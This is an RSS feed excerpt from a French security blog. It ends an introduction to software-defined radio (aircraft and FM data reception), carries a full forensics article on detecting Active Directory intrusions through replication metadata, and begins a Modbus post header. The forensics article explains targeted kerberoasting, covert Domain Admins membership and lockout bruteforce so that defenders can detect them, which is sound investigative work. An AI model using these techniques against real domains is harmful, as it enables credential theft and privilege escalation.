<div style="text-align: justify;">Une bonne « antenne SDR » doit être capable de scanner un large spectre de fréquences (de quelques MHz à plusieurs GHz) avec une bonne précision d’acquisition. Plusieurs produits existent (RTL-SDR, HackRF, LimeSDR, USRP, …) et offrent des possibilités variées (fréquences, réception/émission simultanées, gain, …) il convient donc de bien choisir son matériel.</div>
<div style="text-align: justify;">Notre cabinet s’est doté d’un USRP, la référence des antennes SDR, pour réceptionner et émettre des signaux sur un large spectre de fréquence.</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16255 media-16255" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16255 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2.png" alt="" width="340" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2-232x191.png 232w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2-47x39.png 47w" sizes="auto, (max-width: 340px) 100vw, 340px" /></figure>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous l’avons dit, le socle informatique est désormais capable de gérer un grand nombre de données, mais ce n’est pas cette évolution qui est pas à l’origine de la popularisation du SDR. L’avènement de la télévision numérique (DVB-T TV) permet de visionner la télévision numérique sur ordinateur à l’aide d’une clef USB. Sa production en masse permet de diminuer les couts de fabrication et de vente de la RTL2832U qui la compose.</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16257 media-16257" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16257 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3.png" alt="" width="640" height="320" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3-382x191.png 382w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Des personnes ont réussi à interagir avec la puce RTL2832U de ces antennes USB afin de mettre en avant des fonctionnalités des SDR sur ces équipements rendant accessible la radio-logicielle à tous.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Des exemples de logiciels</h3>
<div style="text-align: justify;">Comme son nom l’indique, un SDR peut être manipulé par un logiciel pour réceptionner ou émettre des données sans fil. La liste suivante vise à donner un aperçu des logiciels existant et les besoins auxquels ils répondent.</div>
<div style="text-align: justify;"></div>
<h4 style="text-align: justify;">GNU Radio : le couteau suisse du SDR</h4>
<div style="text-align: justify;">GNU Radio est un outil qui détaille, à l’aide de blocs de programme, les différentes étapes pour moduler ou démoduler un signal. Les étapes les plus courantes dans le traitement des signaux (FFT, resampling, diagrammes, …) sont déjà implémentés et il est possible de faire interagir des blocs entre eux pour produire un programme qui sera capable, par exemple, d’écouter la radio sur son ordinateur.</div>
<div style="text-align: justify;"></div>
<h4 style="text-align: justify;">Inspectrum et Baudline : visualiser le signal</h4>
<div style="text-align: justify;">Dans un premier temps, l’étude d’un signal consiste à le caractériser ; c’est-à-dire à identifier sa fréquence et son type de modulation. Une représentation des composantes (amplitude, fréquence et phase) d’un signal au court du temps est donc nécessaire. Les deux outils Inspectrum et Baudline répondent à ce besoin. Baudline permet aussi la collecte du signal.</div>
<div style="text-align: justify;"></div>
<h4 style="text-align: justify;">rtl_sdr</h4>
<div style="text-align: justify;">Un SDR fournit à l’ordinateur un flux continu (stream) de nombres complexes caractérisant le signal. Il est possible d’enregistrer le signal dans un fichier pour ensuite l’étudier.</div>
<div style="text-align: justify;">Nous prenons ici l’exemple du RTL-SDR mais chaque antenne nécessite une suite de logiciels pour les échanges antenne-ordinateur. GNU-Radio offre une interface pour ne pas avoir à installer chaque logiciel. Néanmoins, pour réaliser quelques tests, il peut être intéressant d’avoir le pilote de son SDR installé sur son poste. Par exemple, pour le RTL-SDR, le blog rtl-sdr.com (https://www.rtl-sdr.com/rtl-sdr-quick-start-guide/) décrit les étapes à suivre pour installer les logiciels sur Windows.</div>
<div style="text-align: justify;">Il est maintenant possible d’enregistrer une fréquence donnée à l’aide la commande suivante :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">rtl_sdr -f &lt;freq&gt; -s 2000000 fichier.sortie.cu8</pre>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier de sortie (fichier.sortie.cu8) est une suite de nombres complexes encodée sur 8 bits. L’extension cu8 (« Complex 8-bit unsigned integer samples ») est comprise directement dans Inspectrum .</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Quelques cas d’école</h3>
</div>
<div style="text-align: justify;">Comme il est facile de se procurer un SDR à bas coût, une pléthore de logiciels ont été développé pour écouter et visualiser les données.</div>
<div style="text-align: justify;">Parmi les logiciels incontournables, nous présentons dump1090 qui donne la position des avions en temps réel et le système RDS pour écouter et obtenir des informations sur les chaines radio.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Dump1090 : positionner les avions</h4>
</div>
<div style="text-align: justify;">Salvatore Sanfilippo (Antirez), le développeur de Redis, a développé un outil, Dump1090 , qui permet de visualiser les informations des signaux radio « ADS-B ». Ces signaux sont utilisés dans l’aviation pour signaler la position GPS des avions sur un fréquence de 1090 MHz. À l’aide de son outil, il est donc possible pour un amateur équipé d’un RTL-SDR de repérer facilement les avions autour de lui.</div>
<div style="text-align: justify;">Une fois l’outil installé, il suffit de lancer la commande suivante :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">./dump1090 --interactive --net</pre>
</div>
<div style="text-align: justify;">Et d’ouvrir son navigateur sur :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">http://localhost:8000</pre>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Depuis nos locaux de La Défense, il est possible de voir les avions dans le ciel parisien.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16259 media-16259" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16259 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4.png" alt="" width="640" height="250" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4-437x171.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4-71x28.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h4>Radio Data System : informations sur une radio FM</h4>
</div>
<div style="text-align: justify;">Le Radio Data System (RDS) est un service proposé par les radios FM pour fournir aux utilisateurs des informations sur la radio qu’ils écoutent : nom, messages textuels ou encore d’autres fréquence d’écoute.</div>
<div style="text-align: justify;">Pour consulter ces informations, nous allons installer une extension de GNU-radio : <a href="https://github.com/bastibl/gr-rds">https://github.com/bastibl/gr-rds</a></div>
<div style="text-align: justify;">Une fois celle-ci installée, il convient de démarrer gnu-radio à l’aide de la commande suivante :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">gnuradio-companion apps/rds_rx.grc</pre>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ensuite, l’interface proposée permet de positionner la fréquence du SDR et ainsi d’écouter la radio et de lire les information RDS.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16261 media-16261" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16261 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5.png" alt="" width="640" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5-331x191.png 331w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">C’est grâce à ce système que les radios diffusent le nom de la chanson actuellement en écoute.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Pour aller plus loin</h3>
</div>
<div style="text-align: justify;">Notre prochain article présentera les premières étapes de caractérisation d’un signal, l’identification de sa fréquence et son type de modulation. Ensuite, nous pourrons continuer l’analyse pour savoir comment démoduler des signaux et s’intéresser à leur sécurité.</div>
<div style="text-align: justify;">
<div style="text-align: right;"></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/03/introduction-au-software-defined-radio-sdr/">Introduction au Software Defined Radio (SDR)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Utilisation des métadonnées de réplication, quand les journaux font défaut</title>
		<link>https://www.riskinsight-wavestone.com/2018/02/utilisation-des-metadonnees-de/</link>
		
		<dc:creator><![CDATA[Nicolas Daubresse]]></dc:creator>
		<pubDate>Fri, 16 Feb 2018 07:33:17 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Active directory]]></category>
		<category><![CDATA[deep-dive]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[usn]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15551</guid>

					<description><![CDATA[<p>Introduction aux données de réplication de l’Active Directory Au sein d’un domaine Active Directory se trouvent généralement plusieurs contrôleurs de domaine qui nécessitent de disposer des mêmes informations. Pour parvenir à cela, l’Active Directory dispose d’un mécanisme de réplication qui...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/02/utilisation-des-metadonnees-de/">Utilisation des métadonnées de réplication, quand les journaux font défaut</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15553 media-15553" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15553 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1.png" alt="" width="640" height="160" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1-437x109.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1-71x18.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Introduction aux données de réplication de l’Active Directory</h3>
<div style="text-align: justify;">Au sein d’un domaine Active Directory se trouvent généralement plusieurs contrôleurs de domaine qui nécessitent de disposer des mêmes informations. Pour parvenir à cela, l’Active Directory dispose d’un mécanisme de réplication qui permet, entre autres, de propager un changement depuis un contrôleur de domaine vers les autres.</div>
<div style="text-align: justify;">Dans son processus de réplication, l’Active Directory utilise des USN (Update Sequence Number) pour déterminer l’état des contrôleurs de domaines. Ces USN représentent un compteur stocké dans la base de données de l’Active Directory, qui est incrémenté à chaque changement de cette base au niveau d’un contrôleur de domaine. Chaque contrôleur de domaine dispose alors d’un USN qui lui est propre.</div>
<div style="text-align: justify;">Lorsqu’un changement d’une information de l’Active Directory intervient sur un contrôleur de domaine, deux cas peuvent se présenter :</div>
<div style="text-align: justify;"></div>
<ul>
<li>L’information modifiée n’est pas une information répliquée entre les différents contrôleurs de domaines. C’est le cas de l’ensemble des attributs de l’Active Directory qui disposent du flag <span style="font-family: 'courier new' , 'courier' , monospace;">FLAG_ATTR_NOT_REPLICATED</span>[1] comme par exemple l’attribut « BadPwdCount » qui tient compte du nombre de tentatives de connexion échouées :
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15555 media-15555" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15555 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1.png" alt="" width="563" height="200" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1-437x155.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1-71x25.png 71w" sizes="auto, (max-width: 563px) 100vw, 563px" /></figure>
</div>
<div style="text-align: left;"><span style="text-align: justify;">Dans ce cas, le contrôleur de domaine effectue la modification dans sa propre base de données, mais ne transmet rien aux autres contrôleurs de domaine.</span></div>
<p>&nbsp;</li>
<li>
<div style="text-align: left;"><span style="text-align: justify;">L’information modifiée nécessite une réplication entre les différents contrôleurs de domaines. Dans ce cas, le contrôleur de domaine qui a reçu le changement utilise le modèle de réplication de l’Active Directory pour transmettre le changement aux autres contrôleurs du domaine. Ce modèle de réplication ne sera pas détaillé dans cet article, mais permet la diffusion des évolutions à l’ensemble des contrôleurs d’un domaine en limitant le trafic nécessaire et en assurant la gestion des collisions (en cas de changement d’un même attribut sur différents contrôleurs sur une fenêtre de temps réduite).</span></div>
</li>
</ul>
<div style="text-align: justify;">Le processus de réplication utilise des métadonnées qui sont conservées sous la forme de deux attributs distincts : <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span>[2] et <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplValueMetaData</span>[3]. <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span> est utilisé pour les changements effectués sur les attributs non linkés de l’Active Directory alors que <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplValueMetaData</span> est réservé aux attributs linkés.</div>
<div style="text-align: justify;">Les attributs linkés ont été introduits dans l’Active Directory à partir du niveau fonctionnel Windows Server 2003. Ce sont en fait des paires d’attributs dont la valeur de l’un est basée sur celle de l’autre. C’est par exemple le cas des attributs <span style="font-family: 'courier new' , 'courier' , monospace;">member </span>d’un groupe et <span style="font-family: 'courier new' , 'courier' , monospace;">memberof </span>de l’utilisateur.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Quel intérêt pour l’investigation ?</h3>
</div>
<div style="text-align: justify;">En tant qu’analyste forensic qui intervient suite à un incident de sécurité, le premier réflexe pour permettre d’identifier les actions malveillantes ayant eu lieu au sein d’un Active Directory est l’utilisation des journaux d’événements. Mais que faire si ceux-ci n’étaient pas activés au moment de l’attaque ? Ou si l’attaquant est parvenu à supprimer les journaux générés par ses actions, comme le permet un outil comme mimikatz[4] ?</div>
<div style="text-align: justify;">Dans de telles situations, il est possible d’utiliser les données de réplication pour obtenir une vision partielle des actions des attaquants. En effet, d’après le fonctionnement des données de réplication, toute modification d’un attribut de l’Active Directory aboutit à la création d’une donnée de réplication contenant différentes informations pouvant être utile pour une investigation.</div>
<div style="text-align: justify;">Dans le cas d’un attribut non linké, et donc d’une métadonnée de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span>, les informations stockées sont la version, qui correspond au nombre de changements de l’attribut depuis sa création, la date à laquelle a été effectuée la modification, l’USN correspondant au changement pour le contrôleur de domaine qui a initié la réplication, l’USN correspondant au changement pour le contrôleur de domaine sur lequel est récupéré la métadonnée, ainsi que l’UUID et le DN du contrôleur de domaine ayant initié le changement :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15557 media-15557" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15557 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2.png" alt="" width="563" height="128" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2-71x16.png 71w" sizes="auto, (max-width: 563px) 100vw, 563px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Pour les attributs linkés, les métadonnées de réplication, cette fois de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplValueMetaData</span>, vont également stocker des informations sur les attributs liés à l’attribut en question. Les métadonnées de réplication vont alors conserver des informations sur chacune des propriétés de l’attribut lié, y compris pour les valeurs précédentes. Dans l’exemple de l’attribut <span style="font-family: 'courier new' , 'courier' , monospace;">member</span>, les données de réplication conserveront donc à la fois des informations sur les membres actuels du groupe, mais également sur les utilisateurs ayant été membres mais ne l’étant plus :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15559 media-15559" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15559 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3.png" alt="" width="558" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3.png 558w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3-71x27.png 71w" sizes="auto, (max-width: 558px) 100vw, 558px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">A un instant donné, il est alors possible grâce à ces données de déterminer la date de dernière modification d’un attribut, ainsi que le nombre de fois où il a été modifié depuis sa création. Ces données, bien que semblant très limitées, peuvent alors servir à identifier différents scénarios d’attaque.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Elévation de privilèges par ajout dans un groupe</h3>
</div>
<div style="text-align: justify;">L’un des cas où les données de réplication offrent les meilleurs résultats est l’identification d’un scénario où l’attaquant s’est ajouté, puis supprimé d’un groupe, comme par exemple le groupe « Admins du domaine ».</div>
<div style="text-align: justify;">En effet, au sein d’un Active Directory, les groupes possèdent une propriété « member » qui liste les utilisateurs appartenant au groupe. L’ajout d’un utilisateur dans un groupe va alors incrémenter l’USN de son attribut « <span style="font-family: 'courier new' , 'courier' , monospace;">member </span>» de 1, celui-ci ayant été modifié. De même, le retrait de l’utilisateur incrémentera également cet USN de 1.</div>
<div style="text-align: justify;">Etant donné ces propriétés, deux conclusions sont possibles :</div>
<div style="text-align: justify;">
<ul>
<li>Les utilisateurs ayant un USN impair sont membres du groupe (chose qu’il est directement possible de voir dans la valeur de l’attribut « <span style="font-family: 'courier new' , 'courier' , monospace;">member </span>»), et la date de dernier ajout de l’utilisateur au sein du groupe est celle de l’USN ;</li>
<li>Les utilisateurs ayant un USN pair ont appartenu au groupe, mais n’en font plus parti depuis la date de l’USN.</li>
</ul>
</div>
<div style="text-align: justify;">C’est donc dans le second cas que se retrouverait le compte d’un attaquant s’étant ajouté au groupe « Admins de domaine » pour réaliser des actions malveillantes, puis supprimé du groupe. Il est alors possible de créer un script récupérant les utilisateurs ayant été ajoutés ou supprimés d’un groupe après une date donnée (seule la date de premier et de dernier changement étant conservés, il ne serait pas fiable de limiter la recherche à une date maximale) :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15561 media-15561" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15561 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4.png" alt="" width="561" height="86" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4.png 561w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4-437x67.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4-71x11.png 71w" sizes="auto, (max-width: 561px) 100vw, 561px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Targeted Kerberoasting</h3>
</div>
<div style="text-align: justify;">Le kerberoasting est une technique qui exploite le processus d’authentification Kerberos pour permettre à un attaquant de récupérer le mot de passe d’un compte de service (comprendre « compte disposant d’un Service Principal Name »). Le principe de cette attaque est que, comme le montre le schéma suivant, lors d’une demande d’authentification à un service par un utilisateur, le KDC utilise le hash NTLM du compte de service pour chiffrer le TGS renvoyé à l’utilisateur. Dans ce processus, la légitimité de l’utilisateur à accéder au service n’est pas vérifiée, et n’importe quel utilisateur peut donc obtenir le TGS.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15563 media-15563" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15563 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5.png" alt="" width="640" height="391" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5-313x191.png 313w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Il est alors possible pour l’attaquant d’effectuer une tentative de cassage du hash NTLM du compte de service en tentant de déchiffrer le TGS à partir de hashs successifs.</div>
<div style="text-align: justify;">Supposons maintenant qu’un attaquant soit parvenu à récupérer des privilèges maximums sur un objet utilisateur, à savoir des privilèges de type <span style="font-family: 'courier new' , 'courier' , monospace;">GenericAll</span>[5], qui donne notamment le droit de modifier le mot de passe du compte, ou encore de modifier les propriétés de l’objet Active Directory associé au compte. Pour usurper l’identité du compte en question, l’attaquant pourrait donc réinitialiser le mot de passe du compte avec une valeur qu’il choisit, et se connecter à l’aide de ce nouveau mot de passe. Néanmoins, une telle attaque serait rapidement détectée par l’utilisateur légitime du compte, qui ne parviendrait plus à se connecter avec son mot de passe habituel.</div>
<div style="text-align: justify;">Une possibilité plus intéressante pour l’attaquant serait alors d’ajouter un Service Principal Name (SPN) au compte de ciblé, puis d’exécuter une attaque de type kerberoasting. C’est ce qu’on appelle le targeted kerberoasting.</div>
<div style="text-align: justify;">La majorité des utilisateurs d’un domaine n’étant jamais supposée avoir de SPN, une telle attaque peut assez simplement être détectée si ce SPN n’est pas supprimé. Si par contre ce SPN est supprimé par l’attaquant une fois l’attaque effectuée, il reste toujours possible d’utiliser les données de réplication !</div>
<div style="text-align: justify;">En effet, l’ajout ou la suppression d’un SPN sont des événements répliqués au sein de l’Active Directory, et génèrent donc des métadonnées de réplication de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span> :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15565 media-15565" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15565 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6.png" alt="" width="559" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6.png 559w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6-71x10.png 71w" sizes="auto, (max-width: 559px) 100vw, 559px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Il est alors possible de créer un script récupérant les comptes du domaine dont l’attribut SPN a été modifié depuis une date donnée, comptes qui sont donc des victimes potentielles d’une attaque de type targeted kerberoasting.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Bruteforce d’un compte par blocage successif</h3>
</div>
<div style="text-align: justify;">Un scénario d’attaque par bruteforce pouvant être utilisé par un attaquant au sein d’un Active Directory ne disposant d’aucune alerte est la réalisation de tentatives de connexion en dehors des heures d’utilisation du compte, et ce jusqu’au blocage du compte.</div>
<div style="text-align: justify;">
<p>Lors du blocage d’un compte, un flag <span style="font-family: 'courier new' , 'courier' , monospace;">LOCKOUT</span>[6] est positionné sur l’attribut <span style="font-family: 'courier new' , 'courier' , monospace;">userAccountControl</span> d’un utilisateur. Cet attribué étant répliqué entre les différents contrôleurs de domaine, des données de réplication de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span> sont alors générées. Il est alors possible de créer un script permettant d’identifier les comptes du domaine ayant un numéro de version important dans les données de réplication de cet attribut, ce qui pourrait annoncer un tel bruteforce :</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15567 media-15567" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15567 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7.png" alt="" width="560" height="73" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7.png 560w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7-437x57.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7-71x9.png 71w" sizes="auto, (max-width: 560px) 100vw, 560px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Il est cependant à noter que l’attribut <span style="font-family: 'courier new' , 'courier' , monospace;">userAccountControl </span>dispose de plusieurs autres flags dont la modification entrainerait également la génération de données de réplication, indissociable des précédentes, comme par exemple pour le flag <span style="font-family: 'courier new' , 'courier' , monospace;">PASSWORD_EXPIRED</span>. Cependant, cet attribut n’est généralement pas amené à évoluer grandement, et un très grand nombre de changements reste un indicateur relativement fiable d’un bruteforce.</div>
<div style="text-align: justify;">Un autre point à noter est qu’en limitant les tentatives de connexion pour éviter le blocage du compte, un attaquant serait invisible à cette méthode d’investigation.</div>
<div style="text-align: justify;">
<h3>Conclusion</h3>
</div>
<div style="text-align: justify;">Bien que n’apportant pas une vision aussi complète que les journaux d’événements, les données de réplication peuvent donc être une source d’information non négligeable pour une investigation forensic dans un Active Directory.</div>
<div style="text-align: justify;">Il est cependant à noter que des techniques permettant la modification des données de réplication pourraient exister[7], la confiance accordée aux informations obtenues grâce à celles-ci ne doit donc pas être aveugle.</div>
<p></p>
<div style="text-align: right;"></div>
<div style="text-align: justify;">
<h3>Sources :</h3>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[1] Voir « systemFlags » : <a href="https://msdn.microsoft.com/en-us/library/cc223202.aspx">https://msdn.microsoft.com/en-us/library/cc223202.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[2] <a href="https://msdn.microsoft.com/en-us/library/cc220352.aspx">https://msdn.microsoft.com/en-us/library/cc220352.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[3] h<a href="ttps://msdn.microsoft.com/en-us/library/cc220356.aspx">ttps://msdn.microsoft.com/en-us/library/cc220356.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[4] <a href="https://github.com/gentilkiwi/mimikatz/releases">https://github.com/gentilkiwi/mimikatz/releases</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[5] <a href="https://msdn.microsoft.com/en-us/library/aa772285(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/aa772285(v=vs.85).aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[6] <a href="https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro">https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[7] <a href="https://twitter.com/mysmartlogon/status/903166180889907200">https://twitter.com/mysmartlogon/status/903166180889907200</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"><a href="https://www.harmj0y.net/blog/defense/hunting-with-active-directory-replication-metadata/">https://www.harmj0y.net/blog/defense/hunting-with-active-directory-replication-metadata/</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"><a href="https://social.technet.microsoft.com/wiki/contents/articles/25946.metadata-de-replication-et-analyse-forensic-active-directory-fr-fr.aspx">https://social.technet.microsoft.com/wiki/contents/articles/25946.metadata-de-replication-et-analyse-forensic-active-directory-fr-fr.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"><a href="https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/">https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/02/utilisation-des-metadonnees-de/">Utilisation des métadonnées de réplication, quand les journaux font défaut</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fun with Modbus 0x5A</title>
		<link>https://www.riskinsight-wavestone.com/2018/02/fun-with-modbus-0x5a/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 09 Feb 2018 17:45:05 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[modbus]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15813</guid>

